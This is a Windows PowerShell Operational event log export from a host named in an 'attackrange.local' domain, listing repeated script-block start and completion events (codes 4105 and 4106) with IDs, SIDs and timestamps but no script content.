OpCode=On create calls
RecordNumber=2038654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038649
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038648
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038647
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038646
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038630
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038629
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038624
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038623
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038601
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
